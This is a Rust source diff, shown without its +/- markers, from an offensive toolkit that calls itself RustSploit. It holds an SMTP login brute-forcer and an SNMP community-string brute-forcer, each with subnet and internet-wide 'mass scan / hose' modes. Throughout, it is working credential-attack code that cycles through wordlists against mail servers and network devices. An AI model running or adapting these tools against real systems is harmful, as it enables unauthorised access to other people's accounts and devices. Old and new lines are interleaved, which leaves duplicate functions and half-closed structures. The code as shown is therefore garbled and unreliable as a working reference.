||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
let users = Arc::new(users);
|
||||
let passes = Arc::new(passes);
|
||||
|
||||
return run_mass_scan(target, MassScanConfig {
|
||||
protocol_name: "SMTP",
|
||||
default_port: 25,
|
||||
state_file: "smtp_hose_state.log",
|
||||
default_output: "smtp_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
}, move |ip: IpAddr, port: u16| {
|
||||
let users = users.clone();
|
||||
let passes = passes.clone();
|
||||
async move {
|
||||
// Quick connect check
|
||||
if !crate::utils::tcp_port_open(ip, port, Duration::from_secs(3)).await {
|
||||
return None;
|
||||
}
|
||||
|
||||
let target_str = ip.to_string();
|
||||
for user in users.iter() {
|
||||
for pass in passes.iter() {
|
||||
let t = target_str.clone();
|
||||
let u = user.clone();
|
||||
let p = pass.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&t, port, &u, &p, DEFAULT_TIMEOUT_MS)
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let msg = format!("{} -> {}:{}", target_str, user, pass);
|
||||
crate::mprintln!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
return Some(format!("{}\n", msg));
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
let err = e.to_string().to_lowercase();
|
||||
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
|
||||
return None;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let port = cfg_prompt_int_range("port", "Port", 25, 1, 65535).await? as u16;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "smtp_subnet_results.txt").await?;
|
||||
|
||||
return run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "smtp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/smtp_credcheck",
|
||||
skip_tcp_check: false,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&target_str, port, &user, &pass, DEFAULT_TIMEOUT_MS)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await;
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let port = cfg_prompt_int_range("port", "Port", 25, 1, 65535).await? as u16;
|
||||
let username_wordlist = cfg_prompt_existing_file("username_wordlist", "Username wordlist file").await?;
|
||||
let password_wordlist = cfg_prompt_existing_file("password_wordlist", "Password wordlist file").await?;
|
||||
|
||||
let threads = cfg_prompt_int_range("threads", "Threads", 8, 1, 256).await? as usize;
|
||||
let delay_ms = cfg_prompt_int_range("delay_ms", "Delay (ms)", 50, 0, 10000).await? as u64;
|
||||
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first valid login?", true).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output file for results", "smtp_results.txt").await?;
|
||||
|
||||
let usernames = load_lines(&username_wordlist)?;
|
||||
let passwords = load_lines(&password_wordlist)?;
|
||||
if usernames.is_empty() || passwords.is_empty() {
|
||||
anyhow::bail!("Username or password list is empty — nothing to bruteforce");
|
||||
}
|
||||
crate::mprintln!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let try_login = move |target: String, port: u16, user: String, pass: String| {
|
||||
async move {
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&target, port, &user, &pass, DEFAULT_TIMEOUT_MS)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => LoginResult::Error {
|
||||
message: e.to_string(),
|
||||
retryable: true,
|
||||
},
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
username_wordlist,
|
||||
password_wordlist,
|
||||
threads,
|
||||
concurrency: threads,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
full_combo,
|
||||
output_file,
|
||||
delay_ms,
|
||||
};
|
||||
max_retries: 2,
|
||||
service_name: "smtp",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/smtp_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
println!();
|
||||
run_smtp_bruteforce(config).await
|
||||
}
|
||||
|
||||
async fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
let usernames = load_lines(&config.username_wordlist)?;
|
||||
let passwords = load_lines(&config.password_wordlist)?;
|
||||
|
||||
let total_attempts = if config.full_combo {
|
||||
usernames.len() * passwords.len()
|
||||
} else {
|
||||
std::cmp::max(usernames.len(), passwords.len())
|
||||
};
|
||||
|
||||
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
|
||||
println!("[*] Total attempts: {}", total_attempts);
|
||||
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
let found_creds = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop_signal = Arc::new(AtomicBool::new(false));
|
||||
let _start_time = std::time::Instant::now();
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop_signal.clone();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
while !stop_clone.load(Ordering::Relaxed) {
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
stats_clone.print_progress();
|
||||
}
|
||||
});
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(config.threads));
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
// Generate combinations
|
||||
let mut combos = Vec::new();
|
||||
if config.full_combo {
|
||||
for u in &usernames {
|
||||
for p in &passwords {
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
let max_len = std::cmp::max(usernames.len(), passwords.len());
|
||||
for i in 0..max_len {
|
||||
let u = &usernames[i % usernames.len()];
|
||||
let p = &passwords[i % passwords.len()];
|
||||
combos.push((u.clone(), p.clone()));
|
||||
}
|
||||
}
|
||||
|
||||
// Process combinations
|
||||
for (user, pass) in combos {
|
||||
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let config_clone = config.clone();
|
||||
let stats_clone = stats.clone();
|
||||
let found_clone = found_creds.clone();
|
||||
let stop_signal_clone = stop_signal.clone();
|
||||
let user_clone = user.clone();
|
||||
let pass_clone = pass.clone();
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Wrap blocking logic
|
||||
let config_inner = config_clone.clone();
|
||||
let user_inner = user_clone.clone();
|
||||
let pass_inner = pass_clone.clone();
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
match try_smtp_login(&config_inner.target, config_inner.port, &user_inner, &pass_inner) {
|
||||
Ok(true) => Ok(true),
|
||||
Ok(false) => Ok(false),
|
||||
Err(e) => Err(e),
|
||||
}
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
println!("\r{}", format!("[+] Found: {}:{}", user_clone, pass_clone).green().bold());
|
||||
found_clone.lock().await.push((user_clone.clone(), pass_clone.clone()));
|
||||
stats_clone.record_success();
|
||||
if config_clone.stop_on_success {
|
||||
stop_signal_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
},
|
||||
Ok(Ok(false)) => {
|
||||
stats_clone.record_failure();
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[-] Failed: {}:{}", user_clone, pass_clone).dimmed());
|
||||
}
|
||||
},
|
||||
Ok(Err(e)) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if config_clone.verbose {
|
||||
println!("\r{}", format!("[!] Error {}:{}: {}", user_clone, pass_clone, e).red());
|
||||
}
|
||||
},
|
||||
Err(e) => {
|
||||
stats_clone.record_error(format!("Task panic: {}", e)).await;
|
||||
}
|
||||
}
|
||||
|
||||
if config_clone.delay_ms > 0 {
|
||||
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
|
||||
}
|
||||
}));
|
||||
|
||||
// Memory management: drain completed tasks
|
||||
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
|
||||
}
|
||||
|
||||
while let Some(_) = tasks.next().await {}
|
||||
|
||||
stop_signal.store(true, Ordering::Relaxed);
|
||||
let _ = progress_handle.await;
|
||||
|
||||
stats.print_final().await;
|
||||
|
||||
// Save results
|
||||
let found = found_creds.lock().await;
|
||||
if !found.is_empty() {
|
||||
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
|
||||
use std::io::Write;
|
||||
for (u, p) in found.iter() {
|
||||
let _ = writeln!(file, "{}:{}", u, p);
|
||||
}
|
||||
println!("[+] Results saved to {}", config.output_file);
|
||||
}
|
||||
}
|
||||
result.print_found();
|
||||
result.save_to_file(&output_file)?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Result<bool> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
|
||||
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(2000))?;
|
||||
stream.set_read_timeout(Some(Duration::from_millis(2000)))?;
|
||||
stream.set_write_timeout(Some(Duration::from_millis(2000)))?;
|
||||
|
||||
let mut telnet = Telnet::from_stream(Box::new(stream), 512);
|
||||
|
||||
let mut banner_ok = false;
|
||||
for _ in 0..3 {
|
||||
let event = telnet.read().context("Banner read")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("220") { banner_ok = true; break; }
|
||||
}
|
||||
/// Read a single SMTP response line (terminated by \n).
|
||||
/// Returns the trimmed line or an error on timeout / EOF.
|
||||
fn read_smtp_line(reader: &mut BufReader<&TcpStream>) -> Result<String> {
|
||||
let mut line = String::new();
|
||||
let n = reader.read_line(&mut line).context("SMTP read")?;
|
||||
if n == 0 {
|
||||
return Err(anyhow!("Connection closed"));
|
||||
}
|
||||
if !banner_ok { return Err(anyhow!("No 220 banner")); }
|
||||
|
||||
telnet.write(b"EHLO scanner\r\n")?;
|
||||
|
||||
Ok(line.trim_end().to_string())
|
||||
}
|
||||
|
||||
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str, timeout_ms: u64) -> Result<bool> {
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let timeout = Duration::from_millis(timeout_ms);
|
||||
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
|
||||
let stream = crate::utils::blocking_tcp_connect(&socket, timeout)?;
|
||||
if let Err(e) = stream.set_nodelay(true) { crate::meprintln!("[!] Socket option error: {}", e); }
|
||||
stream.set_read_timeout(Some(timeout))?;
|
||||
stream.set_write_timeout(Some(timeout))?;
|
||||
|
||||
let mut reader = BufReader::new(&stream);
|
||||
// We write via a reference to the same stream (TcpStream is duplex)
|
||||
let mut writer = &stream;
|
||||
|
||||
// Read banner — expect 220
|
||||
let banner = read_smtp_line(&mut reader).context("Banner read")?;
|
||||
if !banner.starts_with("220") {
|
||||
return Err(anyhow!("No 220 banner"));
|
||||
}
|
||||
|
||||
// Send EHLO
|
||||
writer.write_all(b"EHLO scanner\r\n")?;
|
||||
writer.flush()?;
|
||||
|
||||
let mut login_ok = false;
|
||||
let mut plain_ok = false;
|
||||
let mut ehlo_seen = false;
|
||||
|
||||
for _ in 0..6 {
|
||||
let event = telnet.read().context("EHLO read")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
|
||||
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
|
||||
if s.starts_with("250 ") { ehlo_seen = true; break; }
|
||||
}
|
||||
|
||||
// Read multi-line EHLO response (250-... continues, 250 ... ends)
|
||||
// RFC allows arbitrary continuation lines; use generous limit
|
||||
for _ in 0..100 {
|
||||
let line = read_smtp_line(&mut reader).context("EHLO read")?;
|
||||
if line.contains("AUTH") && line.contains("PLAIN") { plain_ok = true; }
|
||||
if line.contains("AUTH") && line.contains("LOGIN") { login_ok = true; }
|
||||
// "250 " (with space) is the final line of the EHLO response
|
||||
if line.starts_with("250 ") { ehlo_seen = true; break; }
|
||||
// If the line doesn't start with 250 at all, something is wrong
|
||||
if !line.starts_with("250") { break; }
|
||||
}
|
||||
if !ehlo_seen { return Ok(false); }
|
||||
|
||||
// Try AUTH PLAIN
|
||||
if plain_ok {
|
||||
let mut blob = vec![0];
|
||||
let mut blob = vec![0u8];
|
||||
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
|
||||
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
|
||||
telnet.write(cmd.as_bytes())?;
|
||||
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read().context("Auth response")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
writer.write_all(cmd.as_bytes())?;
|
||||
writer.flush()?;
|
||||
|
||||
let resp = read_smtp_line(&mut reader).context("Auth response")?;
|
||||
if resp.starts_with("235") {
|
||||
if let Err(e) = writer.write_all(b"QUIT\r\n") { crate::meprintln!("[!] Write error: {}", e); }
|
||||
if let Err(e) = writer.flush() { crate::meprintln!("[!] Write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
if resp.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
|
||||
|
||||
// Try AUTH LOGIN
|
||||
if login_ok {
|
||||
telnet.write(b"AUTH LOGIN\r\n")?;
|
||||
|
||||
writer.write_all(b"AUTH LOGIN\r\n")?;
|
||||
writer.flush()?;
|
||||
|
||||
// Wait for username prompt (334)
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read().context("Auth Login prompt")?;
|
||||
if let Event::Data(b) = event {
|
||||
if String::from_utf8_lossy(&b).starts_with("334") { break; }
|
||||
}
|
||||
}
|
||||
|
||||
let prompt1 = read_smtp_line(&mut reader).context("Auth Login prompt")?;
|
||||
if !prompt1.starts_with("334") { return Ok(false); }
|
||||
|
||||
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
|
||||
telnet.write(ucmd.as_bytes())?;
|
||||
|
||||
writer.write_all(ucmd.as_bytes())?;
|
||||
writer.flush()?;
|
||||
|
||||
// Wait for password prompt (334)
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read().context("Auth Pass prompt")?;
|
||||
if let Event::Data(b) = event {
|
||||
if String::from_utf8_lossy(&b).starts_with("334") { break; }
|
||||
}
|
||||
}
|
||||
|
||||
let prompt2 = read_smtp_line(&mut reader).context("Auth Pass prompt")?;
|
||||
if !prompt2.starts_with("334") { return Ok(false); }
|
||||
|
||||
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
|
||||
telnet.write(pcmd.as_bytes())?;
|
||||
|
||||
for _ in 0..2 {
|
||||
let event = telnet.read().context("Auth final response")?;
|
||||
if let Event::Data(b) = event {
|
||||
let s = String::from_utf8_lossy(&b);
|
||||
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
|
||||
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
writer.write_all(pcmd.as_bytes())?;
|
||||
writer.flush()?;
|
||||
|
||||
let resp = read_smtp_line(&mut reader).context("Auth final response")?;
|
||||
if resp.starts_with("235") {
|
||||
if let Err(e) = writer.write_all(b"QUIT\r\n") { crate::meprintln!("[!] Write error: {}", e); }
|
||||
if let Err(e) = writer.flush() { crate::meprintln!("[!] Write error: {}", e); }
|
||||
return Ok(true);
|
||||
}
|
||||
if resp.starts_with("5") { return Ok(false); }
|
||||
}
|
||||
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
|
||||
@@ -1,263 +1,272 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
io::Write,
|
||||
net::{SocketAddr, UdpSocket},
|
||||
net::{IpAddr, SocketAddr},
|
||||
sync::Arc,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
|
||||
use tokio::{
|
||||
sync::Mutex,
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
time::Duration,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default, normalize_target,
|
||||
generate_combos_mode, ComboMode,
|
||||
is_mass_scan_target, is_subnet_target, run_bruteforce, run_mass_scan,
|
||||
run_subnet_bruteforce, BruteforceConfig, LoginResult, MassScanConfig, SubnetScanConfig,
|
||||
};
|
||||
use crate::utils::{
|
||||
cfg_prompt_default, cfg_prompt_existing_file, cfg_prompt_int_range, cfg_prompt_output_file,
|
||||
cfg_prompt_port, cfg_prompt_yes_no, load_lines, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "SNMP Brute Force".to_string(),
|
||||
description: "Brute-force SNMPv1/v2c community strings. Discovers read/write community strings on network devices with concurrent scanning and subnet/mass scan support.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
}
|
||||
}
|
||||
|
||||
/// Prompt for SNMP version, returning 0 for v1 or 1 for v2c.
|
||||
async fn prompt_snmp_version() -> Result<u8> {
|
||||
loop {
|
||||
let input = cfg_prompt_default("snmp_version", "SNMP Version (1 or 2c)", "2c").await?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => return Ok(0),
|
||||
"2c" | "2" => return Ok(1),
|
||||
_ => crate::mprintln!("Invalid version. Enter '1' or '2c'."),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Format SNMP version byte as a display string.
|
||||
fn version_label(v: u8) -> &'static str {
|
||||
if v == 0 {
|
||||
"v1"
|
||||
} else {
|
||||
"v2c"
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n{}", "=== SNMPv1/v2c Brute Force Module ===".bold().cyan());
|
||||
println!("{}", " Community String Discovery Tool".cyan());
|
||||
println!();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
crate::mprintln!(
|
||||
"\n{}",
|
||||
"=== SNMPv1/v2c Brute Force Module ===".bold().cyan()
|
||||
);
|
||||
crate::mprintln!("{}", " Community String Discovery Tool".cyan());
|
||||
crate::mprintln!();
|
||||
crate::mprintln!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
let default_port = 161;
|
||||
let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535).await? as u16;
|
||||
|
||||
let communities_file = prompt_existing_file("Community string wordlist file path").await?;
|
||||
|
||||
// Custom prompt for version since it's specific
|
||||
let snmp_version = loop {
|
||||
let input = prompt_default("SNMP Version (1 or 2c)", "2c").await?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => break 0, // SNMPv1
|
||||
"2c" | "2" => break 1, // SNMPv2c
|
||||
_ => println!("Invalid version. Enter '1' or '2c'."),
|
||||
// --- Mass scan mode ---
|
||||
if is_mass_scan_target(target) {
|
||||
crate::mprintln!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
|
||||
let communities_file =
|
||||
cfg_prompt_existing_file("community_wordlist", "Community string wordlist").await?;
|
||||
let snmp_version = prompt_snmp_version().await?;
|
||||
let communities = Arc::new(load_lines(&communities_file)?);
|
||||
if communities.is_empty() {
|
||||
return Err(anyhow!("Community wordlist cannot be empty"));
|
||||
}
|
||||
};
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent tasks", 50, 1, 1000).await? as usize;
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
|
||||
|
||||
// Output file handled by saving results at the end usually, but old code asked upfront.
|
||||
// I'll stick to standard flow: prompt for save at end OR automatically if specified.
|
||||
// Existing modules prompted for output file upfront. I'll do that for consistency with new standard.
|
||||
let output_file = prompt_default("Output file", "snmp_results.txt").await?;
|
||||
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
let timeout_secs =
|
||||
cfg_prompt_int_range("timeout", "Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
|
||||
let connect_addr = format!("{}:{}", normalize_target(target)?, port);
|
||||
let cfg = MassScanConfig {
|
||||
protocol_name: "SNMP",
|
||||
default_port: 161,
|
||||
state_file: "snmp_hose_state.log",
|
||||
default_output: "snmp_mass_results.txt",
|
||||
default_concurrency: 500,
|
||||
};
|
||||
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(AtomicBool::new(false));
|
||||
let stats = Arc::new(BruteforceStats::new());
|
||||
return run_mass_scan(target, cfg, move |ip: IpAddr, port: u16| {
|
||||
let communities = communities.clone();
|
||||
async move {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
for community in communities.iter() {
|
||||
match try_snmp_community(&addr, community, snmp_version, timeout).await {
|
||||
Ok(true) => {
|
||||
let now = chrono::Local::now().format("%Y-%m-%d %H:%M:%S");
|
||||
let line = format!("[{}] {}:{}\n", now, ip, community);
|
||||
crate::mprintln!(
|
||||
"\r{}",
|
||||
format!("[+] FOUND: {} -> community: '{}'", addr, community)
|
||||
.green()
|
||||
.bold()
|
||||
);
|
||||
return Some(line);
|
||||
}
|
||||
Ok(false) => {}
|
||||
Err(_) => return None,
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
})
|
||||
.await;
|
||||
}
|
||||
|
||||
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
|
||||
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
|
||||
// --- Subnet scan mode (SNMP-specific, UDP — no TCP pre-check) ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
return run_subnet_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Single-target bruteforce via the generic engine ---
|
||||
|
||||
let port = cfg_prompt_port("port", "SNMP Port", 161).await?;
|
||||
let communities_file =
|
||||
cfg_prompt_existing_file("community_wordlist", "Community string wordlist file path")
|
||||
.await?;
|
||||
let snmp_version = prompt_snmp_version().await?;
|
||||
let concurrency =
|
||||
cfg_prompt_int_range("concurrency", "Max concurrent tasks", 50, 1, 1000).await? as usize;
|
||||
let stop_on_success =
|
||||
cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let output_file =
|
||||
cfg_prompt_output_file("output_file", "Output file", "snmp_results.txt").await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let timeout_secs =
|
||||
cfg_prompt_int_range("timeout", "Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
|
||||
let norm_target = normalize_target(target)?;
|
||||
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
println!("[!] Community wordlist is empty. Exiting.");
|
||||
crate::mprintln!("[!] Community wordlist is empty. Exiting.");
|
||||
return Ok(());
|
||||
}
|
||||
println!("{}", format!("[*] Loaded {} community strings", communities.len()).cyan());
|
||||
println!();
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[*] Loaded {} community strings", communities.len()).cyan()
|
||||
);
|
||||
crate::mprintln!("[*] SNMP Version: {}", version_label(snmp_version));
|
||||
|
||||
// Start progress reporter
|
||||
let stats_clone = stats.clone();
|
||||
let stop_clone = stop.clone();
|
||||
let _start_time = Instant::now();
|
||||
let progress_handle = tokio::spawn(async move {
|
||||
loop {
|
||||
if stop_clone.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
|
||||
stats_clone.print_progress();
|
||||
}
|
||||
});
|
||||
// Build combos: empty username, community string as password.
|
||||
let empty_users = vec![String::new()];
|
||||
let combos = generate_combos_mode(&empty_users, &communities, ComboMode::Combo);
|
||||
|
||||
let communities = Arc::new(communities);
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let config = BruteforceConfig {
|
||||
target: norm_target.clone(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 10,
|
||||
jitter_ms: 50,
|
||||
max_retries: 2,
|
||||
service_name: "snmp",
|
||||
source_module: "creds/generic/snmp_bruteforce",
|
||||
};
|
||||
|
||||
for community in communities.iter() {
|
||||
if stop_on_success && stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
let permit = semaphore.clone().acquire_owned().await?;
|
||||
let addr_clone = connect_addr.clone();
|
||||
let community_clone = community.clone();
|
||||
let found_clone = Arc::clone(&found);
|
||||
let stop_clone = Arc::clone(&stop);
|
||||
let stats_clone = Arc::clone(&stats);
|
||||
let stop_flag = stop_on_success;
|
||||
let verbose_flag = verbose;
|
||||
let version = snmp_version;
|
||||
let timeout = Duration::from_secs(timeout_secs);
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
let _permit = permit;
|
||||
|
||||
if stop_flag && stop_clone.load(Ordering::Relaxed) {
|
||||
return;
|
||||
}
|
||||
|
||||
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
|
||||
Ok(true) => {
|
||||
println!("\r{}", format!("[+] {} -> community: '{}'", addr_clone, community_clone).green().bold());
|
||||
found_clone
|
||||
.lock()
|
||||
.await
|
||||
.push((addr_clone.clone(), community_clone.clone()));
|
||||
stats_clone.record_success();
|
||||
if stop_flag {
|
||||
stop_clone.store(true, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
stats_clone.record_failure();
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[-] {} -> community: '{}'", addr_clone, community_clone).dimmed());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
stats_clone.record_error(e.to_string()).await;
|
||||
if verbose_flag {
|
||||
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
|
||||
// The try_login closure adapts SNMP community-string testing to the
|
||||
// engine's (target, port, user, password) interface. On success it
|
||||
// stores the credential with CredType::Key (SNMP community strings
|
||||
